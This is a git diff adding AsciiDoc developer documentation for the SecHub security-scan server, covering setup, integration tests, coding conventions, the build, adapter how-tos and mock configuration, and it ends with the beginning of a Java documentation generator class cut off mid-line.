+===== Others +====== Import projects +Import as you would normally do in your IDE. + +====== Create localhost server certificate +To get the localhost server certificate created, open a console +just call `./gradlew ensureLocalhostCertificate` + +This will generate a randomized server certificate for localhost, necessary for +development + + +=== First steps +Here some first steps to get {sechub} running and being able to develop parts. + +==== Integration test scenario + +With this setup we will start sechub server ready for executing integration tests. +It does use only security product mocks, so we got no long running sessions. We need +no running security suite... but of course we have no real products and can not make real scans. + +===== Start integration test server +====== IDE +include::../shared/launchconfig/launchconfig_start_integrationtest_server.adoc[] + +====== Console +---- +./gradlew gradlew startIntegrationServer +---- + +===== Start integration tests + +Integration tests do completely execute commands like done on real system - except there is no real communication with +security products but only with mocked variants. + +NOTE: Integration tests do need always a running integration test server instance. + +====== IDE +When you have running integration test server instance, just execute JUnit at complete project `sechub-integrationtest` +with +---- +-Dsechub.integrationtest.running=true +---- + +Some integration tests are long running. These tests are only run when you set +---- +-Dsechub.integrationtest.longrunning=true +---- + +So you can easily switch or enable all by enabling dedicated system property. + +====== Console +Next line starts integration test server, execute tests and automatically stops +server after done or failed. + +---- +./gradlew integrationtest +---- + +[CAUTION] +==== +The gradle task `integrationtest` does not depend on `build`. This was +explicit not done, because build server can create server, then client and +then start integration tests (different stages ...) without building again. + +*But be aware:* + +If you have executed a `clean` task before, you are forced to call +`gradlew build buildGo integrationtest` to get all things working again. + +==== +===== Stop integration test server +====== IDE +Just stop your running server... + +====== Console +---- +./gradlew gradlew stopIntegrationServer +---- +=== Developer administration UI + +There exists a very simple user interface for developers, to test out behaviour of sechub server. There will be +all functions of server available, but in a very reduced way. + +WARNING: The developer administration UI is only a tool for developers and should be handled with care. + + It's an extreme simple client for administrative parts. For real administration a frontend for admins + will be developed in future! It's not purposed to be in a deployment, but only for development. + +=== Integration test variant +include::./../shared/launchconfig/launchconfig_start_integrationtest_dev_adminui.adoc[] + + +[[section-infrastructure-setup]] +== SecHub infrastructure setup +include::../shared/infrastructure/infra_springboot.adoc[] + +include::../shared/infrastructure/infra_localdevelopment.adoc[] + +include::../shared/infrastructure/infra_security_products.adoc[] + +include::../shared/infrastructure/infra_docker.adoc[] + +include::../shared/infrastructure/infra_kubernetes.adoc[] + +== Test/Use real products + +=== Start server in DEV mode +include::./../shared/launchconfig/launchconfig_start_dev_server.adoc[] + +TIP: Please refer also + <> + +=== Start server in PROD mode +include::./../shared/launchconfig/launchconfig_start_prod_server.adoc[] diff --git a/sechub-doc/src/docs/asciidoc/documents/techdoc/02_security_in_development.adoc b/sechub-doc/src/docs/asciidoc/documents/techdoc/02_security_in_development.adoc new file mode 100644 index 0000000000..c35e2567b5 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/techdoc/02_security_in_development.adoc @@ -0,0 +1,28 @@ +// SPDX-License-Identifier: MIT +[[section-security-in-development]] +== Security in development + +CAUTION: We enable security even in early stage of development! There is no test, no integration test or anything else which would use `http` only! + +=== CLI client +There are some options for CLI client which were *not* supposed to be +used in production. So instead of exposing such options by help we +use those by explicit ENV entries +[options="header",cols="1,1,1"] +|=== +|ENV-NAME |Value |Description +//----------------------------------------- +|SECHUB_DEBUG |"true" |Shows debug outputs +|SECHUB_QUIET |"true" |Suppresses warning outputs +|SECHUB_TRUSTALL|"true" |Trust all certificates (only for development). Normally SecHub client does show a warning when `trustall` option is enabled +|=== + +=== Server +==== Spring Boot Security +Spring boot security is always turned on, no matter if development or in production. + +==== Certificates + +For development gradle task `ensureLocalhostCertificate` in `sechub-server` will automatically generate a +localhost server certificate. For details look into task and called bash script. + diff --git a/sechub-doc/src/docs/asciidoc/documents/techdoc/03_coding_conventions.adoc b/sechub-doc/src/docs/asciidoc/documents/techdoc/03_coding_conventions.adoc new file mode 100644 index 0000000000..39735c8c95 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/techdoc/03_coding_conventions.adoc @@ -0,0 +1,220 @@ +// SPDX-License-Identifier: MIT +[[section-coding-conventions]] +== Coding conventions + +=== Commit messages +We always commit with an issue id inside the headline message means e.g. on command line: + +[source,bash] +---- +commit -m "Some short summary #${issueNr}" +---- + +When having details we always add an empty new line after summary and list details, maybe using "-" at +the beginning to have a pretty output in `GitHub` + +=== Database + +==== Naming in DB +We are using PostgreSQL which does automatically use lower_case names + +==== Naming in JPA +We are using upper cased names + +=== Java + +==== Classes +Defined class names + +- `Rest controller` will be called `${name}RestController.java` +- A `service` is something that will be called by controllers and will be named `${name}Service.java` +- A factory creating a `target` will be called `${target}Factory.java` +- Something implementing an interface will be called `${nameWithAtLeastInterfacePartAtEnd}Impl.java` + +===== Subclassing/ Inheritance +Normally sub classes shall add their custom part in front of the name as a prefix: + +E.g. Interface `JobRepository` extends `Repository` + +===== Adding additional parts without inheritance +An exception are Custom parts + +E.g. Interface `JobRepositoryCustom` is a special addon to JobRepository without inheritance + +=== Logging + +==== General +We try to avoid massive logging but we want to log relevant parts! + +==== Audit Logging +We use a service from shared kernel: `AuditLogService` + +==== Security Logging +We use a service from shared kernel: `SecurityLogService` + +[[sechub-logging-functional]] +==== Functional Logging +We use a dedicated static log field for functional logging. +Normal logging contains `INFO` level. Problems which are just annoying will come up to `WARN` level. +Bigger problems are logged in level `ERROR`. + +Technology used is `slf4j`. We always use logging with parameters - to avoid log injections (should be handled +by logging framework automatically) and also to speed up. + +_For example:_ +---- +LOG.info("This is user:{} which is from department:{}",userId,department); +---- + +==== Debug Logging +As described in <>, but with log level `DEBUG`. + + +=== Services +We try to create small spring services, in most cases a +service with annotation `@Service` should have only one public method + +So pretty simple and easy to maintain. +The name should provide information what the service does. + +=== RestController +Rest controller should not do any business logic by themselves, but delegate only to dedicated +(rest) controller. + +=== Code2Doc +==== Spring values +All spring `@Value` annotations which are necessary for documentation (except adapters, they got +no access to sechub internal parts and are pretty dump) have to be taged +with `@MustBeDocumented` annotation. See <> + +==== Messaging +The messaging flow must be documented by annotations as well. There are diagramms automatically generated. +See <> for further information. + +==== Use cases +[[section-coding-convention-usecases]] +The usecases and their steps have to be +documented inside code by using a dedicated +annotation which itself is tagged with an `@UseCaseDefinition` annotation. +See existing examples in sechub code. + +TIP: Tag *relevant* entrypoints as dedicated usecase step so + other developers can easily find them by their IDE (in eclipse + for example you can use `CTRL + g` to find all references of the + selected usecase annotation class + +The `UseCaseModelAsciiDocGenerator` will automatically +generate asciidoc file `gen_usecases.adoc` which will +contain all the data from the code and linked +adoc files. Also all *REST API documentation* for usecases having a `@UseCaseRestDoc` association will be automatically generated. + +See also <> + + +==== Tests + +In genereal unit tests which are testing a dedicated class *MUST* have same package as tested classes. +So it's easier to find and also possible to use package private fields for mocking etc. + +===== Unit tests +====== Fields +We prefer fields to local variables, fields have to be rebuild by an `@Before` method. + +====== Naming of mocks and test targets +- Creating a mock field for e.g. a service `UserService` will be named as `userService`. + We do NOT add something like a `mock` post or prefix! +- The test target field - e.g. `MailService` will be called something like `....ToTest`. + For example `serviceToTest` + +====== Naming of unit tests +"Normal" Junit tests will simply called ${nameOfClassToTest}Test.java +They have no dependency to spring + +====== Using json in unit tests versus production code +org.json.JSONxxyz will make problems because test implementation is using +a lightweight variant with other api. + +There were some obscure problems with this situation. So inside +the adapter framework the context has got a dedicated json +support which is using only jackson parts +and has a fluent api. + +Use only those for communication. It also has an +automated support for deep tracing with product identification + +===== Unit tests (with spring context) +Junit needing a running spring boot container will be called ${nameOfClassToTest}SpringBootTest.java +They use `@SpringBootTest` inside and have access to dependency +injection etc. + +TIP: Prefer normal junit tests to spring boot tests, as they are much + faster and often sufficient. + +===== Mocked RestController/MVC Tests (with spring context) +Those tests will also be called `${name}MockTest.java` - will e.g. use use Spring annotation `@WebMvcTest` + +===== WireMock tests +When we have to use wire mock - e.g. to mock up product servers, we +call them `${name}WireMockTest.java` + +===== DB integration tests +Those tests will be called `${name}DBTest.java` - and will use Spring annotation `@DataJpaTest` + +TIP: For an example look into `JobRepositoryDBTest` + + +===== Integration tests +In project `sechub-integrationtest` full integration tests are settled. +The project needs a running server in profile `integrationtest`. +For more details about those tests read the `README.md` file inside +projects root folder. + +====== Integration tests using RestAPI +These tests will be called `${name}IntTest.java` + +====== Integration tests using SecHubClient +Some integration tests do need a build SecHub client and execute the client. +These tests will be called `${name}SecHubClientIntTest.java` + +TIP: If these tests are failing, please check you have called `gradlew buildGo` before, + otherwise no sechub client is available for test... + + +[[section-coding-convention-restdoc]] +===== RestDOC tests +In project `sechub-doc` there are `RESTDOC tests` settled. Those tests are annotated with +`UseCaseRestDoc` and associated with dedicated <>. +The tests will automatically create REST api documentation by using `Spring REST DOC`. + +(See also <>.) + +The tests *MUST* be settled here because gradle support classpath runtime information only at current project, so to prevent +heavy changeds on build logic, we simply setup those tests inside `sechub-doc` project itself. + +TIP: As a side effect it is very much easier for developers to see what parts are rest doc tested at one glance. + +====== What is the difference between a MockTest and a RestDocTest? +RestDoc tests are designed to check fields, params and results described in documentations are really as is. +There is no logic testing inside those tests. They are more or less just for documentation. On the other hand +the MockTest pendants are only for logic testing, so also destructive variants and more technical parts are tested here. + +====== How can I ensure that I do not forget to describe necesary REST API parts? +Every call to REST API must be described as a part for <>. So there is +a usecase annotation used at the restcontroller method which should have a method with an `@Step` result. At the `@Step` +annotation there is a field `needsRestDoc` which is per default set to `false`. For steps doing rest operations and +needs to be documented, just set `needsRestDoc` to `true`. When you have done this you cannot forget to document, because +there is an automated test which fail when you got not RestDoc tests annotated with `@UseCaseRestDoc` for the use case... +It will not break the build, but produce a failing test. There is also an opposite check that you got no `@UseCaseRestDoc` +tests without corrsponding set of steps having `needsRestDoc` enabled. + +TIP: You can also find easily restDoc relevant parts by search caller hierarchy of `needsRestDoc` inside your code. +So you get a list of all controller methods having documented API... + +====== Naming +We use `${restControllerClassName}RestDocTest.java` as name pattern to find `RestDoc` tests easier. + +`restControllerClassname` is just the java class name of the controller were the rest call is made +(normally the `@Step` annotation must have there the `needRestAPI='true'` setup ) + +TIP: Having always the Controllers and also the necessary `@MockBean` annotations as spring test + dependency this will reduce the boilerplate code to one location... diff --git a/sechub-doc/src/docs/asciidoc/documents/techdoc/04_documentation.adoc b/sechub-doc/src/docs/asciidoc/documents/techdoc/04_documentation.adoc new file mode 100644 index 0000000000..b8481b1fec --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/techdoc/04_documentation.adoc @@ -0,0 +1,80 @@ +// SPDX-License-Identifier: MIT +[[section-documentation]] +== Documentation + +=== Documentation types + +[[section-documentation-markdown]] +==== Markdown +Simple technical information -e.g. about the content of an folder +- will be written in markdown syntax. + +Normaly we use a README.md file to explain simple things. + +See https://en.wikipedia.org/wiki/Markdown for `markdown` definition + +[NOTE] +==== +The main purpose of not using AsciiDoc for those parts was, that +former used git hosting environment (before github.com) was not able +to show up `.adoc` files in a appropriate formatted way, but only as plain +source. So we started to use `markdown` for files which shall be pretty +formatted there. + +Having now moved to `github.com` we can write those files of course +also as `.adoc` +==== + + +[[section-documentation-asciidoc]] +==== Asciidoc +When ever writing a full scaled documentation - means more than some lines to explain a folder etc. - we do this with Asciidoc. + +TIP: You can use http://asciidoctor.org/docs/user-manual or + look into http://asciidoctor.org/docs/asciidoc-syntax-quick-reference for more information + + +[[section-documentation-in-code]] +=== Documentation in code + +==== Automated description of important code part +There exists an annotation `@MustBeDocumented` , which is not +only used as a marker for important code parts but also is used by an automatic +generation of an `.adoc` file which are included in `asciidoc` documentation. + +[[section-documentation-configuration-properties]] +==== Automated description of configuration properties +With usage of `@MustBeDocumented` at Spring annotation `@Value` +the <> can be documented +automatically. + +[[section-documentation-usecases]] +==== Automated description of use cases +With usage of special usecase annotations which itself are marked with `@UseCaseDefintion` it's possible +to create an automated use case description. See also +<> +for more technical details. + +==== Automated Kubernetes files +The `@MustBeDocumented` annotation is also used for automatic generation of `Kubernetes` deployment parts. See <> . +for details. + +==== Automated Diagrams +[[section-documentation-messaging-overview]] + +===== Domain messaging overview +Using Annotations, which are itself tagged with `@DomainMessaging` annotation, those parts will automatically +listed inside generated messaging diagram(s) `gen_domain_messaging_overview.plantuml` : + +plantuml::diagrams/gen/gen_domain_messaging_overview.plantuml[format=svg, alt="Sequence diagram of messaging", width=1024] + +TIP: For an example look into `@IsReceivingAsyncMessage` and look also for its + references. + +[[section-documentation-generation]] +=== Documentation generation +By calling `gradlew documentation` the `AsciidocGenerator` is build and used. This generator will automatically +generate documentation areas like <> or <> which will +be rendered by Asciidoctor afterwards. + + diff --git a/sechub-doc/src/docs/asciidoc/documents/techdoc/05_build.adoc b/sechub-doc/src/docs/asciidoc/documents/techdoc/05_build.adoc new file mode 100644 index 0000000000..e44dc910c9 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/techdoc/05_build.adoc @@ -0,0 +1,47 @@ +// SPDX-License-Identifier: MIT +== Build + +=== About build technology + +Leading entry point/technology is always `gradle`. So if you want to build something, please look at the +corresponding gradle tasks. + +We will use `travis` for a simple continous integration and quick response at +`github.com` but for automated deployment etc. Jenkins is in use with a ready +to use pipeline script (and two custom jobs). + +include::./../buildserver/jenkins-pipeline.adoc[] + +=== Gradle build commands overview + +=== Build Server +Just call +---- +./gradlew build +---- + +=== Build Client +Just call +---- +./gradlew buildGo +---- + +=== Execute integration tests +Just call +---- +./gradlew integrationtest +---- +This will start also an integration test server + +=== Build Documentation +Just call +---- +./gradlew documentation +---- + +=== Publish artefacts +Just call +---- +./gradlew publish +---- +_(if not already builds done this will be triggered automatically)_ \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/documents/techdoc/06_concepts.adoc b/sechub-doc/src/docs/asciidoc/documents/techdoc/06_concepts.adoc new file mode 100644 index 0000000000..1b44150a41 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/techdoc/06_concepts.adoc @@ -0,0 +1,7 @@ +// SPDX-License-Identifier: MIT +== Concepts + + + +include::./../gen/gen_usecases.adoc[] + diff --git a/sechub-doc/src/docs/asciidoc/documents/techdoc/07_api.adoc b/sechub-doc/src/docs/asciidoc/documents/techdoc/07_api.adoc new file mode 100644 index 0000000000..9e99aa52bc --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/techdoc/07_api.adoc @@ -0,0 +1,4 @@ +// SPDX-License-Identifier: MIT +== API + +include::./../gen/gen_uc_restdoc.adoc[] \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/documents/techdoc/08_technical_debt.adoc b/sechub-doc/src/docs/asciidoc/documents/techdoc/08_technical_debt.adoc new file mode 100644 index 0000000000..6c545a74ae --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/techdoc/08_technical_debt.adoc @@ -0,0 +1,34 @@ +// SPDX-License-Identifier: MIT +[[section-technical-debt]] +== Technical debt + +=== Long running transactions +There could be a problem about long running transactions. + +=== Domain messaging system +==== Current implementation +Currently the domain messaging is done by a simple observer pattern. + +It's working, is easy to maintain, simple but has some caveats: + + * Domain communication is done only inside ONE cluster member (seen from starting point). + + (We got still cluster side working! The scheduling approach handles it correctly. But a job will have + communication etc. only inside same JVM - which is maybe even a good thing ? - and reduces complexity) + + ** What does this include? + *** We got no "cluster communication". + *** We got no fallback handling when e.g. a cluster fails we got no respawning of the handling or queue entry + +NOTE: This was a wanted architecture decision to keep things simple on startup. The used wrapper mechanism gives us t + the chance to change the implementation when necessary, without too much effort. The benefits of data separation + is still there. + +===== Additional information + * Sending asynchronous messages *are* really asynchronous + + The implementation in `DomainMessageService` uses a spring task executor to provide this in conjunction with observer pattern. + +==== What possibilities do we have to change this in future? + * Use Queuing System (maybe something more lightweight than KAFKA...) + * Write another spring application which has got REST API and is installed one time in cluster + ** Problem: Bottleneck, much effort, deployment, etc. + * Keep simple implementation as is but implement resilience + diff --git a/sechub-doc/src/docs/asciidoc/documents/techdoc/09_01_howto_integrate_a_new_product.adoc b/sechub-doc/src/docs/asciidoc/documents/techdoc/09_01_howto_integrate_a_new_product.adoc new file mode 100644 index 0000000000..fc1c491f1f --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/techdoc/09_01_howto_integrate_a_new_product.adoc @@ -0,0 +1,82 @@ +// SPDX-License-Identifier: MIT +[[section-howto-integrate-a-new-product]] +=== Howto integrate a new product + +[[section-howtos-write-a-new-adapter]] +==== Write a new adapter +When you want to write a new adapter you should should base on an existing one. + +Here is an easy to go list: + + +===== Copy an existing adapter subproject + +NOTE: As an example you could use existing subproject `sechub-adapter-netsparker` as copy base + +* Copy the existing adapter subproject and rename it adequate in + filesystem + +* After this add the new subproject id to + - `settings.gradle` + - `projects.gradle` here you should add the project to the section where other adapters are already set + - `sechub-server/build.gradle` add the new project as dependency there! + +===== Reimport into IDE +- Reimpoirt the new subproject into your IDE - in eclipse you can +use `EGradle -> Reimport`. + +===== Rename packages +- Use your IDE to rename package of the adapter so you have your own namespace - e.g. +when using `com.daimler.sechub.adapter.netsparker` and you want to create an adapter +for `hubabuba` you should rename the package to `com.daimler.sechub.adapter.hubabuba`. + +===== Rename Classes +- Use your IDE to rename classes, interfaces and enums. When you have copied project `Netsparker adapter` +and wanting to support `Hubabuba` you have to replace all name parts containing `Netsparker` with `Hubabuba`. +This will help you to have `Config`, `ConfigBuilder` and many more classes out of the box. + +===== Rewrite Mockadapter +- Normally mock adapter implementation do just return an example file (e.g. XML or JSON) as a result. So this has to be done + for the new adapter as well - means another file must be returned. + +===== Rewrite Adapter logic +Cleanup the old adapter implementation parts and start recreating + +===== Adapt TestApplication +- Every adapter should contain an own simple test application having a simple main application where the adapter can be tested +without spring container startup etc. So very fast and simple to use, without dependencies to other `{sechub}` parts + +==== Write a new product executor + +It's the same as described at <>: Just copy an existing product executor subproject. + +NOTE: As an example you could use existing subproject `sechub-scan-product-netsparker` as copy base + +But some additional parts have to be done: + +- Always think about the kind of <> implementation you want to use! + Depending of the target type (intranet, internet) some products must + are installed twice or need an special identifier to identify another logic or profile + to handle the target correctly. The easiest way is to copy an existing product executor + having the same beaviour/installation setup as the new one. + + For details see architecture documentation and search for + `Automatic Target resolving and calling of adapters` and/or + check class hierarchy and javadoc of `InstallSetup`. +- change all `@value` annotation keys to adequate names, use only fields necessary and remove uninteresting parts + +==== Extend SERECO to support the new product +<> (`SecHub Report Collector`) must +be able to extract all necessary data from product results got from +product executors and merge it into its own meta model. After this `Sereco` will provide a +report which will be transmitted back to user request. + +So we have to write an product importer by implementing `com.daimler.sechub.sereco.importer.ProductResultImporter`. +Of course can use an existing importer as a template. + +==== Adopt and write tests +Copied tests from adapter and product executors must be (of course) adapted as well. +Either remove them or use the existing tests as a template to write your own tests. + +You should also write at least one integration test inside `sechub-integrationtest` to check that the sever is using the mocked adapter +and `SERECO` is returning an expected traffic light and also the correct details. + diff --git a/sechub-doc/src/docs/asciidoc/documents/techdoc/09_02_howto_configure_mock_behaviours.adoc b/sechub-doc/src/docs/asciidoc/documents/techdoc/09_02_howto_configure_mock_behaviours.adoc new file mode 100644 index 0000000000..2dba225795 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/techdoc/09_02_howto_configure_mock_behaviours.adoc @@ -0,0 +1,54 @@ +// SPDX-License-Identifier: MIT +[[section-howto-configure-mock-behaviours]] +=== Howto configure mock behaviours + +The `MockedAdapterSetupService` reads a JSON configfile from file path. The default +setup is generated by `MockSetupGeneratorApplication.java` + +Per default it's located at `/sechub-other/mockdata/mockdata_setup.json` + +TIP: Please change the `MockSetupGeneratorApplication.java` and start as java application +to generate the file. This prevents making typos etc. + +If you want to use another location, use system property defined in +`MockedAdapterSetupService.java` to define another location. + +Example: + +[source,json] +---- +{ + "entries": [ + { <1> + "adapterId": "MockedNetsparkerAdapter", + "combinations": [ + {<2> + "target" : "https://vulnerable.demo.example.org", <3> + "throwsAdapterException": false,<4> + "filePath": "./../sechub-other/mockdata/netsparker-mockdata-one-important-vulnerability.xml" <5> + }, + { + "target": "https://safe.demo.example.org", + "throwsAdapterException": false, + "filePath": "./../sechub-other/mockdata/netsparker-mockdata-green.xml" + }, + { + "target": "{any-other-target}", + "throwsAdapterException": false, + "filePath": "./../sechub-other/mockdata/netsparker-mockdata-green.xml" + } + ] + } + + ] +} + +---- +<1> One Adapter definition for mocking, can be multiple times, but for each adapter only one definition! +<2> A combination for the adapter +<3> Target url definition, for code scanners the file resource folders are the targets + e.g. `"../sechub-doc/src/main/java"`. When using `"{any-other-target}"` this will the combination + used for all not defined combinations. +<4> Mocked adapter will not throw an exception on execution time, when true defined the adapter will + thow an adapter execution. Interesting for tests +<5> Filepath for result file to return by mock when target url of Job starts with defined one \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/documents/techdoc/09_howtos.adoc b/sechub-doc/src/docs/asciidoc/documents/techdoc/09_howtos.adoc new file mode 100644 index 0000000000..dbd1717bf2 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/techdoc/09_howtos.adoc @@ -0,0 +1,8 @@ +// SPDX-License-Identifier: MIT +[[section-howtos]] +== HowTos + +include::09_01_howto_integrate_a_new_product.adoc[] + +include::09_02_howto_configure_mock_behaviours.adoc[] + diff --git a/sechub-doc/src/docs/asciidoc/images/README.md b/sechub-doc/src/docs/asciidoc/images/README.md new file mode 100644 index 0000000000..4b2066c8ea --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/images/README.md @@ -0,0 +1,18 @@ + +# About this file +The file is written in markdown and NOT in asciidoc because its +not directly relevant for documentation but contains some information + +# Information about images +## if_advantage_protection_1034363 +`if_advantage_protection_1034363.svg` +`if_advantage_protection_1034363.png` + +Link: + +License: "Free for commercial use" + +Artist: Aleksandr Reva + +IconSet: + diff --git a/sechub-doc/src/docs/asciidoc/images/adapter-big-picture.svg b/sechub-doc/src/docs/asciidoc/images/adapter-big-picture.svg new file mode 100644 index 0000000000..a857c1d586 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/images/adapter-big-picture.svg @@ -0,0 +1 @@ +AdapterAdapterConfigAdapterContextAbstractAdaptercreatesandchangesusesknowsAbstractAdapterContextAbstractAdapterConfigBuilderAbstractAdapterConfigAbstractSpringRestTemplateAdaptercansetupProductXYConfigBuilderProductXYConfigsetup +createsProductXYContextknowsProductXYAdapterusescreaetsCallerusesbuildertocreateconfiguseswithconfig \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/images/domain-communication-and-actions.svg b/sechub-doc/src/docs/asciidoc/images/domain-communication-and-actions.svg new file mode 100644 index 0000000000..ba889aa10e --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/images/domain-communication-and-actions.svg @@ -0,0 +1 @@ +Domainsextern.clientssechub.domain.schedulesechub.domain.scansechub.adapterextern.security.productsStartSecHubScanSchedulerRestControllerProductExecutor(s)SecHubJobBatchTriggerServicefetchesnextSecHubJobCRONbasedstartsnewbatchjobSecHubJobUUIDBatchJobBuildercreatesBatchJob (Spring)dependingonJobconfigurationBatchJobSecHubJobReportBuilderServiceexecutesupdatestatesProductSecHubJobStatusServiceCheckSecHubScanStateSecHubJobUUIDGetSecHubScanReportSecHubJobUUIDexecutesScanServiceProductExecutionStoreServiceProductAdaptercallsProductResultReportusesSecHubResultServicecallssavesreadsreportproductresultsomecouldreadreadsSchedulerServicecreates +schedulesaSecHubJobReportRestControllerReportProviderServicereadsTrafficLightCalculatoruses \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/images/sechub-logo.png b/sechub-doc/src/docs/asciidoc/images/sechub-logo.png new file mode 100644 index 0000000000..9c74b7a91c Binary files /dev/null and b/sechub-doc/src/docs/asciidoc/images/sechub-logo.png differ diff --git a/sechub-doc/src/docs/asciidoc/sechub-architecture.adoc b/sechub-doc/src/docs/asciidoc/sechub-architecture.adoc new file mode 100644 index 0000000000..0e25170e98 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/sechub-architecture.adoc @@ -0,0 +1,90 @@ +// SPDX-License-Identifier: MIT +// header file for arc42-template, +// including all help texts +// +// ==================================== += image:sechub-logo.png[sechub] SecHub Architecture + +// configure EN settings for asciidoc +include::documents/config.adoc[] + +include::documents/shared/about_sechub.adoc[] + +include::documents/shared/about_documentation_all.adoc[] + +This architecture documentation is based on arc42 template. + +//additional style for arc42 help callouts +ifdef::basebackend-html[] +++++ + +++++ +endif::basebackend-html[] + + +include::documents/architecture/about-arc42.adoc[] + +// horizontal line +*** + + +// numbering from here on +:numbered: + +<<<< +// 1. Introduction and Goals +include::documents/architecture/01_introduction_and_goals.adoc[] + +<<<< +// 2. Architecture Constraints +include::documents/architecture/02_architecture_constraints.adoc[] + +<<<< +// 3. System Scope and Context +include::documents/architecture/03_system_scope_and_context.adoc[] + +<<<< +// 4. Solution Strategy +include::documents/architecture/04_solution_strategy.adoc[] + +<<<< +// 5. Building Block View +include::documents/architecture/05_building_block_view.adoc[] + +<<<< +// 6. Runtime View +include::documents/architecture/06_runtime_view.adoc[] + +<<<< +// 7. Deployment View +include::documents/architecture/07_deployment_view.adoc[] + +<<<< +// 8. Concepts +include::documents/architecture/08_concepts.adoc[] + +<<<< +// 9. Design Decisions +include::documents/architecture/09_design_decisions.adoc[] + +<<<< +// 10. Quality Scenarios +include::documents/architecture/10_quality_scenarios.adoc[] + +<<<< +// 11. Technical Risks +include::documents/architecture/11_technical_risks.adoc[] + +<<<< +// 12. Glossary +include::documents/architecture/12_glossary.adoc[] + + diff --git a/sechub-doc/src/docs/asciidoc/sechub-client.adoc b/sechub-doc/src/docs/asciidoc/sechub-client.adoc new file mode 100644 index 0000000000..ec81f4c97d --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/sechub-client.adoc @@ -0,0 +1,23 @@ +// SPDX-License-Identifier: MIT +// ==================================== +// SecHub Client Documentation +// ==================================== +include::documents/config.adoc[] + += image:sechub-logo.png[sechub] SecHub Client Documentation + +== About +include::documents/shared/about_sechub.adoc[] + +include::documents/shared/about_documentation_client.adoc[] + + +// horizontal line +*** + +// numbering from here on +:numbered: + +<<<< +// 1. SecHub client +include::documents/code2doc/client/02_sechub_client.adoc[] diff --git a/sechub-doc/src/docs/asciidoc/sechub-restapi.adoc b/sechub-doc/src/docs/asciidoc/sechub-restapi.adoc new file mode 100644 index 0000000000..cfa02715ed --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/sechub-restapi.adoc @@ -0,0 +1,23 @@ +// SPDX-License-Identifier: MIT +// ==================================== +// SecHub REST API Documentation +// ==================================== +include::documents/config.adoc[] + += image:sechub-logo.png[sechub] SecHub Server Rest API Documentation + +== About + +include::documents/shared/about_sechub.adoc[] + +include::documents/shared/about_documentation_server.adoc[] + + + +// horizontal line +*** +// numbering from here on +:numbered: + +// 1. REST API +include::documents/server/03_sechub_rest_api.adoc[] diff --git a/sechub-doc/src/docs/asciidoc/sechub-techdoc.adoc b/sechub-doc/src/docs/asciidoc/sechub-techdoc.adoc new file mode 100644 index 0000000000..edcba73a79 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/sechub-techdoc.adoc @@ -0,0 +1,63 @@ +// SPDX-License-Identifier: MIT +// ==================================== +// SecHub technical Documentation +// ==================================== +// enable techdoc content +:techdoc: += image:sechub-logo.png[sechub] SecHub TechDoc +include::documents/config.adoc[] + +== About +include::documents/shared/about_sechub.adoc[] + +include::documents/shared/about_documentation_all.adoc[] + +Target audience for this document are *SecHub Developers* only! + + +// horizontal line +*** + +:showhintaboutgenerated: true + + +// numbering from here on +:numbered: + +<<<< +// 1. Development setup +include::documents/techdoc/01_development_setup.adoc[] + +<<<< +// 2. Security in developmewnt +include::documents/techdoc/02_security_in_development.adoc[] + +<<<< +// 3. Coding conventions +include::documents/techdoc/03_coding_conventions.adoc[] + +<<<< +// 4. Documentation +include::documents/techdoc/04_documentation.adoc[] + +<<<< +// 5. Build +include::documents/techdoc/05_build.adoc[] + +<<<< +// 6. Concepts +include::documents/techdoc/06_concepts.adoc[] + +<<<< +// 7. API +include::documents/techdoc/07_api.adoc[] + +<<<< +// 8. technical debt +include::documents/techdoc/08_technical_debt.adoc[] + +<<<< +// 9. Howtos +include::documents/techdoc/09_howtos.adoc[] + + diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java new file mode 100644 index 0000000000..135482be0e --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java @@ -0,0 +1,191 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen; + +import java.io.File; +import java.io.IOException; + +import com.daimler.sechub.docgen.messaging.DomainMessagingFilesGenerator; +import com.daimler.sechub.docgen.messaging.DomainMessagingModel; +import com.daimler.sechub.docgen.spring.ScheduleDescriptionGenerator; +import com.daimler.sechub.docgen.spring.SpringProfilesPlantumlGenerator; +import com.daimler.sechub.docgen.spring.SpringProfilesPlantumlGenerator.SpringProfileGenoConfig; +import com.daimler.sechub.docgen.spring.SystemPropertiesDescriptionGenerator; +import com.daimler.sechub.docgen.spring.SystemPropertiesJavaLaunchExampleGenerator; +import com.daimler.sechub.docgen.usecase.UseCaseModel; +import com.daimler.sechub.docgen.usecase.UseCaseModelAsciiDocGenerator; +import com.daimler.sechub.docgen.usecase.UseCaseRestDocModel; +import com.daimler.sechub.docgen.usecase.UseCaseRestDocModelAsciiDocGenerator; +import com.daimler.sechub.docgen.util.ClasspathDataCollector; +import com.daimler.sechub.docgen.util.TextFileWriter; +import com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier; +import org.slf4j.LoggerFactory; +import ch.qos.logback.classic.Level; +import ch.qos.logback.classic.Logger; + +public class AsciidocGenerator implements Generator { + + ClasspathDataCollector collector; + SystemPropertiesDescriptionGenerator propertiesGenerator = new SystemPropertiesDescriptionGenerator(); + SystemPropertiesJavaLaunchExampleGenerator javaLaunchExampleGenerator = new 